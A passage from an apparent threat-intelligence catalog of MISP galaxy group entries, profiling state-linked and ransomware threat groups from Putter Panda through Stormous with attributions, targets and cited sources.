The tag is: *misp-galaxy:groups="PROMETHIUM"*

Putter Panda

[Putter Panda](https://app.tidalcyber.com/groups/6005f4a9-fe26-4237-a44e-3f6cbb1fe75c) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA's 3rd General Staff Department (GSD). ^{[[CrowdStrike Putter Panda](https://app.tidalcyber.com/references/413962d0-bd66-4000-a077-38c2677995d1)]}

The tag is: *misp-galaxy:groups="Putter Panda"*

Qilin Ransomware Actors

An object to catalog the TTP and threat object relationships associated with actors known to deploy Qilin ransomware and variants.

The tag is: *misp-galaxy:groups="Qilin Ransomware Actors"*

Quad7 Botnet Operators

7777 or Quad7 is a botnet used to compromise network devices such as TP-LINK small office/home office ("SOHO") routers and use the infected devices to relay password spraying attacks against Microsoft 365 accounts.^{[[Sekoia.io Blog July 23 2024](/references/ae84e72a-56b3-4dc4-b053-d3766764ac0d)]}^{[[Sekoia.io Blog September 9 2024](/references/eb4a1888-3b04-449b-9738-d96ae26adfee)]} This object reflects the various Techniques observed in use by the threat actors known to operate this botnet.

The tag is: *misp-galaxy:groups="Quad7 Botnet Operators"*

Quantum Ransomware Actors

This Group object reflects the tools & TTPs associated with threat actors known to deploy Quantum ransomware (aka Quantum Locker, which derives from the MountLocker, AstroLocker, and XingLocker ransomware families). The Quantum group is known to publicly extort its victims.^{[[Cybereason Quantum Ransomware May 9 2022](/references/19027620-216a-4921-8d78-f56377778a12)]} Researchers indicate the group is a rebranding of the "Conti Team Two" that formed after the fragmenting of the Ryuk/Conti ransom group in early 2022.^{[[AdvIntel Bazar Call August 10 2022](/references/5d3dff70-28c2-42a5-bf58-211fe6491fd2)]}

The tag is: *misp-galaxy:groups="Quantum Ransomware Actors"*

Rancor

[Rancor](https://app.tidalcyber.com/groups/021b3c71-6467-4e46-a413-8b726f066f2c) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://app.tidalcyber.com/groups/021b3c71-6467-4e46-a413-8b726f066f2c) uses politically-motivated lures to entice victims to open malicious documents. ^{[[Rancor Unit42 June 2018](https://app.tidalcyber.com/references/45098a85-a61f-491a-a549-f62b02dc2ecd)]}

The tag is: *misp-galaxy:groups="Rancor"*

Ransomhouse Group

Ransomhouse is a sophisticated ransomware-as-a-service (RaaS) group that emerged in late 2021. The group employs double extortion tactics, first encrypting victim networks then threatening to publish exfiltrated data if ransom demands are not met. Ransomhouse operates a Tor-based leak site to name-and-shame non-paying victims. The group tries to portray a professional image, offering personalized Onion chat links for negotiation and advice to bolster victims' security. Technically, Ransomhouse utilizes specialized tools like Babuk ransomware, and its variant Mario ransomware. It uses MrAgent to automate ransomware deployment across large environments. The group has targeted entities worldwide, with a focus on Western industries like technology and industrials.^{[[Sogeti Global February 28 2024](/references/61b478d2-315c-4b94-8be2-4614003ece9f)]}^{[[Trellix RansomHouse February 14 2024](/references/47214846-49b2-44a1-a696-cca24d9caa56)]}

The tag is: *misp-galaxy:groups="Ransomhouse Group"*

RansomHub Ransomware Actors

RansomHub is an extortion group that regularly republicizes victim data allegedly stolen in other ransomware groups' attacks, but it is also believed to have developed an original ransomware payload.^{[[BroadcomSW June 5 2024](/references/3fa49490-cb22-4362-bf48-eaba9e83e6f5)]}^{[[The Record RansomHub June 3 2024](/references/1e474240-bd12-4472-8e69-1631b0e4c102)]} This object reflects the ATT&CK Techniques and/or associated Software & Campaigns linked to attacks by actors deploying RansomHub ransomware.

The tag is: *misp-galaxy:groups="RansomHub Ransomware Actors"*

RedCurl

[RedCurl](https://app.tidalcyber.com/groups/8302ac29-872e-564b-8525-f00002be2e58) is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks.^{[[group-ib_redcurl1](https://app.tidalcyber.com/references/e9200100-cc58-5c30-b837-e6e73bfe2cbb)]} [RedCurl](https://app.tidalcyber.com/groups/8302ac29-872e-564b-8525-f00002be2e58) is allegedly a Russian-speaking threat actor.^{[[group-ib_redcurl1](https://app.tidalcyber.com/references/e9200100-cc58-5c30-b837-e6e73bfe2cbb)]}^{[[group-ib_redcurl2](https://app.tidalcyber.com/references/1fc20d89-def2-5a1e-8e58-37383a019132)]} The group's operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers.

The tag is: *misp-galaxy:groups="RedCurl"*

RedEcho

[RedEcho](https://app.tidalcyber.com/groups/a6dea520-12ab-5c7b-8142-db3a308122de) is a People's Republic of China-related threat actor associated with long-running intrusions in Indian critical infrastructure entities. [RedEcho](https://app.tidalcyber.com/groups/a6dea520-12ab-5c7b-8142-db3a308122de) overlaps with various other PRC-linked threat groups, such as [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9), and is linked to [ShadowPad](https://app.tidalcyber.com/software/5190f50d-7e54-410a-9961-79ab751ddbab) malware use through shared infrastructure.^{[[RecordedFuture RedEcho 2021](https://app.tidalcyber.com/references/644fa2c1-ed3e-5203-96d5-27acfc1947a0)]}^{[[RecordedFuture RedEcho 2022](https://app.tidalcyber.com/references/3bd1c189-8cb8-5e87-9d3a-15d24a8df16f)]}

The tag is: *misp-galaxy:groups="RedEcho"*

Rhysida Ransomware Actors

This object represents the behaviors associated with operators of Rhysida ransomware, which is licensed on a ransomware-as-a-service ("RaaS") basis. Various affiliated ransomware operators likely do not operate as a cohesive unit. The Rhysida RaaS operation has been active since May 2023, claiming attacks on multiple sectors in several countries in North and South America, Western Europe, and Australia. Many alleged victims are education sector entities. Security researchers have observed TTP and victimology overlaps with the Vice Society extortion group.^{[[HC3 Analyst Note Rhysida Ransomware August 2023](/references/3f6e2821-5073-4382-b5dd-08676eaa2240)]}

Related Vulnerabilities: CVE-2020-1472^{[[U.S. CISA Rhysida Ransomware November 15 2023](/references/6d902955-d9a9-4ec1-8dd4-264f7594605e)]}

The tag is: *misp-galaxy:groups="Rhysida Ransomware Actors"*

Rocke

[Rocke](https://app.tidalcyber.com/groups/71222310-2807-4599-bb92-248eaf2e03ab) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://app.tidalcyber.com/groups/71222310-2807-4599-bb92-248eaf2e03ab) comes from the email address "rocke@live.cn" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://app.tidalcyber.com/groups/71222310-2807-4599-bb92-248eaf2e03ab) and the Iron Cybercrime Group, though this attribution has not been confirmed.^{[[Talos Rocke August 2018](https://app.tidalcyber.com/references/bff0ee40-e583-4f73-a013-4669ca576904)]}

The tag is: *misp-galaxy:groups="Rocke"*

Royal Ransomware Actors

Royal is a ransomware group believed to be responsible for hundreds of attacks on victims worldwide, including those in critical infrastructure sectors including manufacturing, communications, healthcare, and education. The actors that comprise the Royal ransomware operation are believed to be former members of other cybercriminal groups linked to Roy/Zeon ransomware, Conti ransomware, and TrickBot. Unlike many of the other most prominent ransomware groups in recent years, the developers of Royal ransomware are not known to lease the malware to affiliates as a service.^{[[Kroll Royal Deep Dive February 2023](/references/dcdcc965-56d0-58e6-996b-d8bd40916745)]}

The Royal group often pressures victims into paying ransom demands by threatening to leak data exfiltrated during intrusions. While public data from the [ransomwatch project](https://github.com/joshhighet/ransomwatch) suggest the group has claimed roughly 200 victims since Q4 2022, a November 2023 U.S. government advisory indicated that Royal “has targeted over 350 known victims worldwide” since September 2022, with extortion demands at times exceeding $250 million.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}^{[[CISA Royal AA23-061A March 2023](/references/81baa61e-13c3-51e0-bf22-08383dbfb2a1)]}

The tag is: *misp-galaxy:groups="Royal Ransomware Actors"*

RTM

[RTM](https://app.tidalcyber.com/groups/666ab5f0-3ef1-4e74-8a10-65c60a7d1acd) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://app.tidalcyber.com/software/1836485e-a3a6-4fae-a15d-d0990788811a)). ^{[[ESET RTM Feb 2017](https://app.tidalcyber.com/references/ab2cced7-05b8-4788-8d3c-8eadb0aaf38c)]}

The tag is: *misp-galaxy:groups="RTM"*

SafePay Ransomware Actors

The SafePay ransomware group is a cybercrime gang known for deploying ransomware to encrypt files and demand ransoms. They are relatively obscure and not widely discussed on illicit forums. Their activities include data exfiltration and file encryption, often using tools like WinRAR and FileZilla for archiving and potential exfiltration.^{[[huntress.com November 14 2024](/references/0418012c-af7e-47b0-b690-85fd634532e4)]}

The tag is: *misp-galaxy:groups="SafePay Ransomware Actors"*

Saint Bear

[Saint Bear](https://app.tidalcyber.com/groups/eb64ce69-f106-5e8e-8efd-a29385a05973) is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, [Saint Bot](https://app.tidalcyber.com/software/d66e5d18-e9f5-4091-bdf4-acdac129e2e0), and information stealer, [OutSteel](https://app.tidalcyber.com/software/042fe42b-f60e-45e1-b47d-a913e0677976) in campaigns. [Saint Bear](https://app.tidalcyber.com/groups/eb64ce69-f106-5e8e-8efd-a29385a05973) typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities.^{[[Palo Alto Unit 42 OutSteel SaintBot February 2022](https://app.tidalcyber.com/references/b0632490-76be-4018-982d-4b73b3d13881)]}^{[[Cadet Blizzard emerges as novel threat actor](https://app.tidalcyber.com/references/7180c6a7-e6ea-54bf-bcd7-c5238bbc5f5b)]} [Saint Bear](https://app.tidalcyber.com/groups/eb64ce69-f106-5e8e-8efd-a29385a05973) has previously been confused with [Ember Bear](https://app.tidalcyber.com/groups/407274be-1820-4a84-939e-629313f4de1d) operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.

The tag is: *misp-galaxy:groups="Saint Bear"*

Salmon Typhoon

Sodium is reportedly a "sophisticated Chinese state-affiliated" threat actor group, which has especially targeted defense, government, and high-tech organizations in the United States.^{[[GitHub cybershujin Threat-Actors-use-of-Artifical-Intelligence](/references/b595af7e-ff84-49fa-8e07-cd2abe9e1d65)]}

The tag is: *misp-galaxy:groups="Salmon Typhoon"*

Salt Typhoon

[Salt Typhoon](https://app.tidalcyber.com/groups/759dcc8f-01ae-503f-922f-b144cd54ea15) is a People’s Republic of China (PRC) state-backed actor that has been active since at least 2019 and responsible for numerous compromises of network infrastructure at major U.S. telecommunication and internet service providers (ISP).^{[[US Dept. of Treasury Salt Typhoon JAN 2025](https://app.tidalcyber.com/references/144bf4cb-ff31-5fc5-8643-7f59d503d1e4)]}<sup>[[Cisco Salt Typhoon FEB 2025](https://app.tidalcyber.com/references/

9e862514-c8ff-5125-9762-2fb9fafb5625)]</sup>

The tag is: *misp-galaxy:groups="Salt Typhoon"*

Salt Typhoon (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Salt Typhoon" (Group). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Salt Typhoon is likely a cyberespionage group linked to the Chinese government. September 2024 reports indicated the group is believed to have compromised U.S. internet service providers with the intent of collecting sensitive information.^{[[WSJ Salt Typhoon September 26 2024](/references/15b4c5c3-edf2-4f6b-b398-62767cfabf5a)]}

Microsoft researchers indicate that "other names" for Salt Typhoon actors include FamousSparrow and GhostEmperor, a group that was previously tied to supply chain attacks on telecommunications and government entities in Southeast Asia.^{[[Microsoft Threat Actor Naming July 2023](/references/78a8137d-694e-533d-aed3-6bd48fc0cd4a)]}^{[[Sygnia July 17 2024](/references/7d30acb4-9600-46bd-a800-1c7e1149e9b4)]} Mandiant researchers identified activity overlaps between GhostEmperor, FamousSparrow, and actors they track as UNC2286.^{[[Mandiant UNC4841 August 29 2023](/references/f990745d-06c1-4b0a-8394-66c7a3cf0818)]}

The tag is: *misp-galaxy:groups="Salt Typhoon (Deprecated)"*

Sandworm Team

[Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.^{[[US District Court Indictment GRU Unit 74455 October 2020](https://app.tidalcyber.com/references/77788d05-30ff-4308-82e6-d123a3c2fd80)]}^{[[UK NCSC Olympic Attacks October 2020](https://app.tidalcyber.com/references/93053f1b-917c-4573-ba20-99fcaa16a2dd)]} This group has been active since at least 2009.^{[[iSIGHT Sandworm 2014](https://app.tidalcyber.com/references/63622990-5467-42b2-8f45-b675dfc4dc8f)]}^{[[CrowdStrike VOODOO BEAR](https://app.tidalcyber.com/references/ce07d409-292d-4e8e-b1af-bd5ba46c1b95)]}^{[[USDOJ Sandworm Feb 2020](https://app.tidalcyber.com/references/fefa7321-cd60-4c7e-a9d5-c723d88013f2)]}^{[[NCSC Sandworm Feb 2020](https://app.tidalcyber.com/references/d876d037-9d24-44af-b8f0-5c1555632b91)]}

In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://app.tidalcyber.com/software/2538e0fe-1290-4ae1-aef9-e55d83c9eb23) attack, targeting of the 2017 French presidential campaign,

the 2018 [Olympic Destroyer](https://app.tidalcyber.com/software/073b5288-11d6-4db0-9f2c-a1816847d15c) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.^{[[US District Court Indictment GRU Unit 74455 October 2020](https://app.tidalcyber.com/references/77788d05-30ff-4308-82e6-d123a3c2fd80)]}^{[[UK NCSC Olympic Attacks October 2020](https://app.tidalcyber.com/references/93053f1b-917c-4573-ba20-99fcaa16a2dd)]} Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28]([US District Court Indictment GRU Oct 2018(https://app.tidalcyber.com/references/56aeab4e-b046-4426-81a8-c3b2323492f0)]</sup>

The tag is: *misp-galaxy:groups="Sandworm Team"*

SCARLETEEL

SCARLETEEL is a threat actor known to leverage various cloud-based technologies in order to steal proprietary software and other data from victim environments.^{[[Sysdig Scarleteel February 28 2023](/references/18931f81-51bf-44af-9573-512ccb66c238)]}

The tag is: *misp-galaxy:groups="SCARLETEEL"*

Scarlet Goldfinch

Scarlet Goldfinch is a threat activity cluster that typically tricks victims into downloading files that appear to be web browser updates, with the file ultimately leading to the deployment of NetSupport Manager, a remote monitoring and management (RMM) utility that has been heavily abused by adversaries.^{[[Red Canary June 26 2024](/references/e0d62504-6fec-4d95-9f4a-e0dda7e7b6d9)]}

The tag is: *misp-galaxy:groups="Scarlet Goldfinch"*

Scarlet Mimic

[Scarlet Mimic](https://app.tidalcyber.com/groups/6c1bdc51-f633-4512-8b20-04a11c2d97f4) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://app.tidalcyber.com/groups/6c1bdc51-f633-4512-8b20-04a11c2d97f4) and [Putter Panda](https://app.tidalcyber.com/groups/6005f4a9-fe26-4237-a44e-3f6cbb1fe75c), it has not been concluded that the groups are the same. ^{[[Scarlet Mimic Jan 2016](https://app.tidalcyber.com/references/f84a5b6d-3af1-45b1-ac55-69ceced8735f)]}

The tag is: *misp-galaxy:groups="Scarlet Mimic"*

Scattered Spider

[Scattered Spider](https://app.tidalcyber.com/groups/3d77fb6c-cfb4-5563-b0be-7aa1ad535337) is a

native English-speaking cybercriminal group that has been active since at least 2022.^{[[CrowdStrike Scattered Spider Profile](https://app.tidalcyber.com/references/a865a984-7f7b-5f82-ac4a-6fac79a2a753)]}^{[[MSTIC Octo Tempest Operations October 2023](https://app.tidalcyber.com/references/92716d7d-3ca5-5d7a-b719-946e94828f13)]} The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://app.tidalcyber.com/groups/3d77fb6c-cfb4-5563-b0be-7aa1ad535337) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.^{[[MSTIC Octo Tempest Operations October 2023](https://app.tidalcyber.com/references/92716d7d-3ca5-5d7a-b719-946e94828f13)]} During campaigns, [Scattered Spider](https://app.tidalcyber.com/groups/3d77fb6c-cfb4-5563-b0be-7aa1ad535337) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.^{[[CISA Scattered Spider Advisory November 2023](https://app.tidalcyber.com/references/deae8b2c-39dd-5252-b846-88e1cab099c2)]}^{[[CrowdStrike Scattered Spider BYOVD January 2023](https://app.tidalcyber.com/references/d7d86f5d-1f02-54b0-b6f4-879878563245)]}^{[[CrowdStrike Scattered Spider Profile](https://app.tidalcyber.com/references/a865a984-7f7b-5f82-ac4a-6fac79a2a753)]}^{[[MSTIC Octo Tempest Operations October 2023](https://app.tidalcyber.com/references/92716d7d-3ca5-5d7a-b719-946e94828f13)]}^{[[Crowdstrike TELCO BPO Campaign December 2022](https://app.tidalcyber.com/references/382785e1-4ef3-506e-b74f-cd07df9ae46e)]}

The tag is: *misp-galaxy:groups="Scattered Spider"*

Seashell Blizzard Subgroup

This object reflects ATT&CK Technique and other relationships associated with an unnamed "subgroup" of the Russia-linked Seashell Blizzard group, known for a multiyear initial access operation dubbed the "BadPilot" campaign.^{[[Microsoft Security Blog February 12 2025](/references/300bf6cb-582b-4e15-8cca-cb68c8856e6f)]}

Seashell Blizzard is a high-impact threat actor linked to the Russian Federation, conducting global activities on behalf of Russian Military Intelligence Unit 74455 (GRU). Its operations range from espionage to information operations and cyber-enabled disruptions, including destructive attacks and manipulation of industrial control systems (ICS). According to Microsoft researchers, Seashell Blizzard "overlaps with" groups tracked as Sandworm Team, APT44, and other names.^{[[Microsoft Security Blog February 12 2025](/references/300bf6cb-582b-4e15-8cca-cb68c8856e6f)]}

The tag is: *misp-galaxy:groups="Seashell Blizzard Subgroup"*

Sea Turtle

[Sea Turtle](https://app.tidalcyber.com/groups/a511f4e7-9a04-5f37-a599-0d0eee85cfec) is a Türkiye-linked threat actor active since at least 2017 performing espionage and service provider compromise operations against victims in Asia, Europe, and North America. [Sea Turtle](https://app.tidalcyber.com/groups/a511f4e7-9a04-5f37-a599-0d0eee85cfec) is notable for targeting registrars managing ccTLDs and complex DNS-based intrusions where the threat actor

compromised DNS providers to hijack DNS resolution for ultimate victims, enabling [Sea Turtle](https://app.tidalcyber.com/groups/a511f4e7-9a04-5f37-a599-0d0eee85cfec) to spoof log in portals and other applications for credential collection.^{[[Talos Sea Turtle 2019](https://app.tidalcyber.com/references/5288024c-6d3e-5f4c-943a-ed668277af2c)]}^{[[Talos Sea Turtle 2019_2](https://app.tidalcyber.com/references/8fb20f4a-d749-5a6b-b3a1-b6228911bef3)]}^{[[PWC Sea Turtle 2023](https://app.tidalcyber.com/references/b018a875-559a-5998-b50a-b87b19cb3807)]}^{[[Hunt Sea Turtle 2024](https://app.tidalcyber.com/references/cf84498c-110e-5f94-ace8-059703615654)]}

The tag is: *misp-galaxy:groups="Sea Turtle"*

SGL Actor

SGL is a username used by a threat actor on the XSS cybercriminal forum. The actor was observed attempting to sell access to allegedly compromised corporate network VPN gateways and RDP software.^{[[Resecurity Remote Access Compromise March 13 2024](/references/eb3fc217-44b7-496f-b5d1-68b40f476ce3)]}^{[[CYJAX 2024 Year in Review January 29 2025](/references/f22b8c2c-6307-420d-9aac-7da4f054bd1f)]}

The tag is: *misp-galaxy:groups="SGL Actor"*

SideCopy

[SideCopy](https://app.tidalcyber.com/groups/31bc763e-623f-4870-9780-86e43d732594) is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. [SideCopy](https://app.tidalcyber.com/groups/31bc763e-623f-4870-9780-86e43d732594)'s name comes from its infection chain that tries to mimic that of [Sidewinder](https://app.tidalcyber.com/groups/44f8bd4e-a357-4a76-b031-b7455a305ef0), a suspected Indian threat group.^{[[MalwareBytes SideCopy Dec 2021](https://app.tidalcyber.com/references/466569a7-1ef8-4824-bd9c-d25301184ea4)]}

The tag is: *misp-galaxy:groups="SideCopy"*

Sidewinder

[Sidewinder](https://app.tidalcyber.com/groups/44f8bd4e-a357-4a76-b031-b7455a305ef0) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.^{[[ATT Sidewinder January 2021](https://app.tidalcyber.com/references/d6644f88-d727-4f62-897a-bfa18f86380d)]}^{[[Securelist APT Trends April 2018](https://app.tidalcyber.com/references/587f5195-e696-4a3c-8c85-90b9c002cd11)]}^{[[Cyble Sidewinder September 2020](https://app.tidalcyber.com/references/25d8d6df-d3b9-4f57-bce0-d5285660e746)]}

The tag is: *misp-galaxy:groups="Sidewinder"*

Silence

[Silence](https://app.tidalcyber.com/groups/b534349f-55a4-41b8-9623-6707765c3c50) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.^{[[Cyber Forensicator Silence Jan 2019](https://app.tidalcyber.com/references/c328d6d3-5e8b-45a6-8487-eecd7e8cbf7e)]}^{[[SecureList Silence Nov 2017](https://app.tidalcyber.com/references/004a8877-7e57-48ad-a6ce-b9ad8577cc68)]}

The tag is: *misp-galaxy:groups="Silence"*

Silent Librarian

[Silent Librarian](https://app.tidalcyber.com/groups/0e7bd4da-7974-49c9-b213-116bd7157761) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://app.tidalcyber.com/groups/0e7bd4da-7974-49c9-b213-116bd7157761) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).^{[[DOJ Iran Indictments March 2018](https://app.tidalcyber.com/references/7dfdccd5-d035-4678-89c1-f5f1630d7a79)]}^{[[Phish Labs Silent Librarian](https://app.tidalcyber.com/references/d79d0510-4d49-464d-8074-daedd186f1c1)]}^{[[Malwarebytes Silent Librarian October 2020](https://app.tidalcyber.com/references/9bb8ddd0-a8ec-459b-9983-79ccf46297ca)]}

The tag is: *misp-galaxy:groups="Silent Librarian"*

SilverTerrier

[SilverTerrier](https://app.tidalcyber.com/groups/e47ae2a7-d34d-4528-ba67-c9c07daa91ba) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://app.tidalcyber.com/groups/e47ae2a7-d34d-4528-ba67-c9c07daa91ba) mainly targets organizations in high technology, higher education, and manufacturing.^{[[Unit42 SilverTerrier 2018](https://app.tidalcyber.com/references/59630d6e-d034-4788-b418-a72bafefe54e)]}^{[[Unit42 SilverTerrier 2016](https://app.tidalcyber.com/references/a6ba79ca-7d4a-48d3-aae3-ee766770f83b)]}

The tag is: *misp-galaxy:groups="SilverTerrier"*

Sowbug

[Sowbug](https://app.tidalcyber.com/groups/6632f07f-7c6b-4d12-8544-82edc6a7a577) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. ^{[[Symantec Sowbug Nov 2017](https://app.tidalcyber.com/references/14f49074-fc46-45d3-bf7e-30c896c39c07)]}

The tag is: *misp-galaxy:groups="Sowbug"*

Spandex Tempest

Spandex Tempest is a financially motivated adversary group associated with Dudear campaigns, which deliver the FlawedGrace remote access Trojan for information theft purposes.^{[[Microsoft Threat Actor Naming](/references/de9cda86-0b23-4bc8-b524-e74fecf99448)]} The group has evolved initial access techniques observed during these campaigns to evade defenses.^{[[Microsoft Threat Intelligence Tweet June 17 2020](/references/98fc7485-9424-412f-8162-a69d6c10c243)]}

The tag is: *misp-galaxy:groups="Spandex Tempest"*

Star Blizzard

[Star Blizzard](https://app.tidalcyber.com/groups/649642a4-0659-5e10-ae19-1282f73a1785) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://app.tidalcyber.com/groups/649642a4-0659-5e10-ae19-1282f73a1785) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.^{[[Microsoft Star Blizzard August 2022](https://app.tidalcyber.com/references/d5fc25ad-2337-55f5-9eac-050178a533d6)]}^{[[CISA Star Blizzard Advisory December 2023](https://app.tidalcyber.com/references/96b26cfc-b31d-5226-879f-4888801ec268)]}^{[[StarBlizzard](https://app.tidalcyber.com/references/68b16960-1893-51a1-b46c-974a09d4a0c4)]}^{[[Google TAG COLDRIVER January 2024](https://app.tidalcyber.com/references/cff26ad8-b8dc-557d-9751-530f7ebfaa02)]}

The tag is: *misp-galaxy:groups="Star Blizzard"*

Stately Taurus

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:groups="Stately Taurus"*

Stealth Falcon

[Stealth Falcon](https://app.tidalcyber.com/groups/ca3016f3-642a-4ae0-86bc-7258475d6937) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. ^{[[Citizen Lab Stealth Falcon May 2016](https://app.tidalcyber.com/references/11f46b1e-a141-4d25-bff0-e955251be7f5)]}

The tag is: *misp-galaxy:groups="Stealth Falcon"*

Storm-0501

Storm-0501 is a financially motivated actor that has been known to deploy multiple distinct ransomware families and exfiltrate data for extortion purposes.^{[[Microsoft Security Blog September 26 2024](/references/bf05138b-f690-4b0f-ba10-9af71f7d9bfc)]} Active since 2020, the actor was notably observed successfully pivoting from on-premises to victim cloud environments in 2024 by abusing hybrid user identities and their associated privileges.^{[[Mandiant Sabbath Ransomware November 29 2021](/references/ab3a20a5-2df1-4f8e-989d-baa96ffaca74)]}^{[[Microsoft Security Blog September 26 2024](/references/bf05138b-f690-4b0f-ba10-9af71f7d9bfc)]} Mandiant researchers indicated that the group they track as "UNC2190" is linked to the Microsoft-defined Storm-0501 entity.^{[[Tyler McLellan UNC2190 September 26 2024](/references/32298444-284a-4991-ba3b-a80bd62be903)]}

The tag is: *misp-galaxy:groups="Storm-0501"*

STORM-0817

SweetSpecter is a suspected Iran-based actor that has gained notoriety for using publicly available artificial intelligence capabilities to develop its malware and tools.^{[[OpenAI CTI Update October 2024](/references/81f40284-12e5-4835-8c14-19fb894e4822)]}

The tag is: *misp-galaxy:groups="STORM-0817"*

Storm-0844

Storm-0844 is a threat actor originally known for distributing Akira ransomware, and more recently, for distributing Fog ransomware. The actor gains initial access likely by abusing valid accounts, then uses freely available tools for discovery, lateral movement, and exfiltration prior to ransomware deployment.^{[[Microsoft Threat Intelligence LinkedIn July 15 2024](/references/0e7ea8d0-bdb8-48a6-9718-703f64d16460)]}

The tag is: *misp-galaxy:groups="Storm-0844"*

Storm-1811

[Storm-1811](https://app.tidalcyber.com/groups/f17d1768-9563-539a-8d3a-e3e9500658bf) is a financially-motivated entity linked to [Black Basta](https://app.tidalcyber.com/software/0d5b24ba-68dc-50fa-8268-3012180fe374) ransomware deployment. [Storm-1811](https://app.tidalcyber.com/groups/f17d1768-9563-539a-8d3a-e3e9500658bf) is notable for unique phishing and social engineering mechanisms for initial access, such as overloading victim email inboxes with non-malicious spam to prompt a fake "help desk" interaction leading to the deployment of adversary tools and capabilities.^{[[Microsoft Storm-1811 2024](https://app.tidalcyber.com/references/c3c52950-51cf-540f-9951-1d8bef4be937)]}<sup>[[rapid7-email-bombing](https://app.tidalcyber.com/references/b57af46b-a26b-5fca-8509-

406889261d41)]</sup>^{[[RedCanary Storm-1811 2024](https://app.tidalcyber.com/references/617633df-1d6d-57e9-afcb-1d8079bbb45a)]}^{[[RedCanary June Insights 2024](https://app.tidalcyber.com/references/0cef6940-843a-504c-832c-3a10d1b5f2f7)]}

The tag is: *misp-galaxy:groups="Storm-1811"*

Storm-1811 (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Storm-1811" (Group). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

According to Microsoft security researchers, Storm-1811 is a "financially motivated cybercriminal group known to deploy Black Basta ransomware".^{[[Microsoft Security Blog 5 15 2024](/references/0876de6e-ea0c-4717-89a4-9c7baed53b6f)]}

The tag is: *misp-galaxy:groups="Storm-1811 (Deprecated)"*

Storm-2139

A global cybercrime network involved in exploiting exposed customer credentials to unlawfully access accounts with generative AI services, altering capabilities, and reselling access to generate harmful and illicit content.^{[[Microsoft On the Issues February 27 2025](/references/701c3b9f-235a-429d-9d94-b4b4ac720fe3)]}

The tag is: *misp-galaxy:groups="Storm-2139"*

Stormous

Stormous is an actor group known for stealing and selling data and extorting victims.^{[[redpiranha.net March 17 2025](/references/9399efb7-e91c-4acb-8b0f-6cde20592198)]} The group announced support for the Russian government during its invasion of Ukraine and has conducted operations against Ukraine and its perceived allies, among a range of other targets.^{[[therecord.media April 26 2022](/references/6a67f91a-e2f7-4950-aa26-a63388be59c5)]}

The tag is: *misp-galaxy:groups="Stormous"*

Strider

